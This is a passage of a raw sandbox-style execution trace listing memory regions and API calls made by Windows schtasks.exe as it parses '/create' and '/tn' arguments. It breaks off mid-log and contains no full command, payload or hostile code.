monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3162 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3163 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3164 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3165 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3166 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3167 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3168 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3169 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3170 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3171 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3172 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3173 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3174 start_va = 0xc0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3175 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3176 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3177 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3178 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 3179 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3180 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3181 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3182 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 3183 start_va = 0x7d0000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3184 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3185 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3186 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3187 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3188 start_va = 0x1bd0000 end_va = 0x1e9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3191 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3192 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3193 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3194 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3195 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3196 start_va = 0x220000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3197 start_va = 0x1ea0000 end_va = 0x1f7efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 3198 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3199 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 3200 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3202 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3203 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3204 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3205 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3206 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3207 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3218 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 157 os_tid = 0x5e4 [0144.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21fe00 | out: lpSystemTimeAsFileTime=0x21fe00*(dwLowDateTime=0x24544260, dwHighDateTime=0x1d8a92a)) [0144.073] GetCurrentProcessId () returned 0x864 [0144.073] GetCurrentThreadId () returned 0x5e4 [0144.073] GetTickCount () returned 0x13892c3 [0144.073] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x21fe08 | out: lpPerformanceCount=0x21fe08*=2062293628044) returned 1 [0144.073] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0144.073] __set_app_type (_Type=0x1) [0144.073] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0144.074] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0144.076] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0144.076] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0144.076] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0144.076] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0144.076] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0144.076] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0144.076] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0144.077] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0144.077] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0144.077] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0144.077] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0144.077] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0144.077] WinSqmIsOptedIn () returned 0x0 [0144.078] GetProcessHeap () returned 0x2b0000 [0144.078] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2c5480 [0144.078] SetLastError (dwErrCode=0x0) [0144.078] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0144.078] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0144.078] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0144.078] VerifyVersionInfoW (in: lpVersionInformation=0x21f5c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21f5c0) returned 1 [0144.078] GetProcessHeap () returned 0x2b0000 [0144.078] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cba00 [0144.079] lstrlenW (lpString="") returned 0 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x2) returned 0x2cba20 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5980 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cba40 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c59b0 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c59e0 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a10 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a40 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cba60 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5a70 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5aa0 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5ad0 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b00 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cba80 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b30 [0144.079] GetProcessHeap () returned 0x2b0000 [0144.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b60 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5b90 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5bc0 [0144.080] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0144.080] SetLastError (dwErrCode=0x0) [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5bf0 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5c20 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5c50 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5c80 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5cb0 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbaa0 [0144.080] _memicmp (_Buf1=0x2cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.080] GetProcessHeap () returned 0x2b0000 [0144.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x208) returned 0x2cbc40 [0144.080] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cbc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0144.081] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0144.082] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0144.082] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0144.083] GetProcessHeap () returned 0x2b0000 [0144.083] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x74e) returned 0x2cc1f0 [0144.083] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0144.083] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2cc1f0 | out: lpData=0x2cc1f0) returned 1 [0144.084] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0144.084] VerQueryValueW (in: pBlock=0x2cc1f0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21f6a8, puLen=0x21f710 | out: lplpBuffer=0x21f6a8*=0x2cc58c, puLen=0x21f710) returned 1 [0144.090] _memicmp (_Buf1=0x2cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.090] _vsnwprintf (in: _Buffer=0x2cbc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21f688 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0144.090] VerQueryValueW (in: pBlock=0x2cc1f0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21f718, puLen=0x21f708 | out: lplpBuffer=0x21f718*=0x2cc3b8, puLen=0x21f708) returned 1 [0144.090] lstrlenW (lpString="schtasks.exe") returned 12 [0144.090] lstrlenW (lpString="schtasks.exe") returned 12 [0144.090] lstrlenW (lpString=".EXE") returned 4 [0144.090] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0144.091] lstrlenW (lpString="schtasks.exe") returned 12 [0144.091] lstrlenW (lpString=".EXE") returned 4 [0144.091] _memicmp (_Buf1=0x2cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.091] lstrlenW (lpString="schtasks") returned 8 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2c5da0 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb00 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb30 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb60 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbac0 [0144.092] _memicmp (_Buf1=0x2cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa0) returned 0x2cc040 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb90 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccbc0 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.092] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccbf0 [0144.092] GetProcessHeap () returned 0x2b0000 [0144.093] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cbae0 [0144.093] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.093] GetProcessHeap () returned 0x2b0000 [0144.093] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x200) returned 0x2cd2d0 [0144.093] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0144.093] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0144.093] GetProcessHeap () returned 0x2b0000 [0144.093] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x30) returned 0x2c7aa0 [0144.093] _vsnwprintf (in: _Buffer=0x2cc040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21f688 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0144.093] GetProcessHeap () returned 0x2b0000 [0144.093] GetProcessHeap () returned 0x2b0000 [0144.093] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1f0) returned 1 [0144.093] GetProcessHeap () returned 0x2b0000 [0144.093] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc1f0) returned 0x74e [0144.094] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1f0 | out: hHeap=0x2b0000) returned 1 [0144.094] SetLastError (dwErrCode=0x0) [0144.094] GetThreadLocale () returned 0x409 [0144.094] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.094] lstrlenW (lpString="?") returned 1 [0144.094] GetThreadLocale () returned 0x409 [0144.094] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.094] lstrlenW (lpString="create") returned 6 [0144.094] GetThreadLocale () returned 0x409 [0144.095] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.095] lstrlenW (lpString="delete") returned 6 [0144.095] GetThreadLocale () returned 0x409 [0144.095] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.095] lstrlenW (lpString="query") returned 5 [0144.095] GetThreadLocale () returned 0x409 [0144.095] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.095] lstrlenW (lpString="change") returned 6 [0144.095] GetThreadLocale () returned 0x409 [0144.095] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.095] lstrlenW (lpString="run") returned 3 [0144.095] GetThreadLocale () returned 0x409 [0144.095] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.095] lstrlenW (lpString="end") returned 3 [0144.095] GetThreadLocale () returned 0x409 [0144.095] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.095] lstrlenW (lpString="showsid") returned 7 [0144.095] GetThreadLocale () returned 0x409 [0144.095] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.095] SetLastError (dwErrCode=0x0) [0144.095] SetLastError (dwErrCode=0x0) [0144.095] lstrlenW (lpString="/create") returned 7 [0144.095] lstrlenW (lpString="-/") returned 2 [0144.095] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.095] lstrlenW (lpString="?") returned 1 [0144.095] lstrlenW (lpString="?") returned 1 [0144.096] GetProcessHeap () returned 0x2b0000 [0144.096] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc1f0 [0144.096] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.096] GetProcessHeap () returned 0x2b0000 [0144.096] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa) returned 0x2cc210 [0144.096] lstrlenW (lpString="create") returned 6 [0144.096] GetProcessHeap () returned 0x2b0000 [0144.096] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc230 [0144.096] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.096] GetProcessHeap () returned 0x2b0000 [0144.096] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x14) returned 0x2cc250 [0144.096] _vsnwprintf (in: _Buffer=0x2cc210, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|?|") returned 3 [0144.096] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.096] lstrlenW (lpString="|?|") returned 3 [0144.096] lstrlenW (lpString="|create|") returned 8 [0144.096] SetLastError (dwErrCode=0x490) [0144.096] lstrlenW (lpString="create") returned 6 [0144.096] lstrlenW (lpString="create") returned 6 [0144.096] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.096] GetProcessHeap () returned 0x2b0000 [0144.096] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc210) returned 1 [0144.096] GetProcessHeap () returned 0x2b0000 [0144.096] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cc210, Size=0x14) returned 0x2cc270 [0144.096] lstrlenW (lpString="create") returned 6 [0144.096] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.097] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.097] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.097] lstrlenW (lpString="|create|") returned 8 [0144.097] lstrlenW (lpString="|create|") returned 8 [0144.097] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0144.097] SetLastError (dwErrCode=0x0) [0144.097] SetLastError (dwErrCode=0x0) [0144.097] SetLastError (dwErrCode=0x0) [0144.097] lstrlenW (lpString="/tn") returned 3 [0144.097] lstrlenW (lpString="-/") returned 2 [0144.097] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.097] lstrlenW (lpString="?") returned 1 [0144.097] lstrlenW (lpString="?") returned 1 [0144.097] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.097] lstrlenW (lpString="tn") returned 2 [0144.097] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.097] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|?|") returned 3 [0144.097] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.097] lstrlenW (lpString="|?|") returned 3 [0144.097] lstrlenW (lpString="|tn|") returned 4 [0144.097] SetLastError (dwErrCode=0x490) [0144.097] lstrlenW (lpString="create") returned 6 [0144.097] lstrlenW (lpString="create") returned 6 [0144.097] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.098] lstrlenW (lpString="tn") returned 2 [0144.098] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.098] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.098] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.098] lstrlenW (lpString="|create|") returned 8 [0144.098] lstrlenW (lpString="|tn|") returned 4 [0144.098] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0144.098] SetLastError (dwErrCode=0x490) [0144.098] lstrlenW (lpString="delete") returned 6 [0144.098] 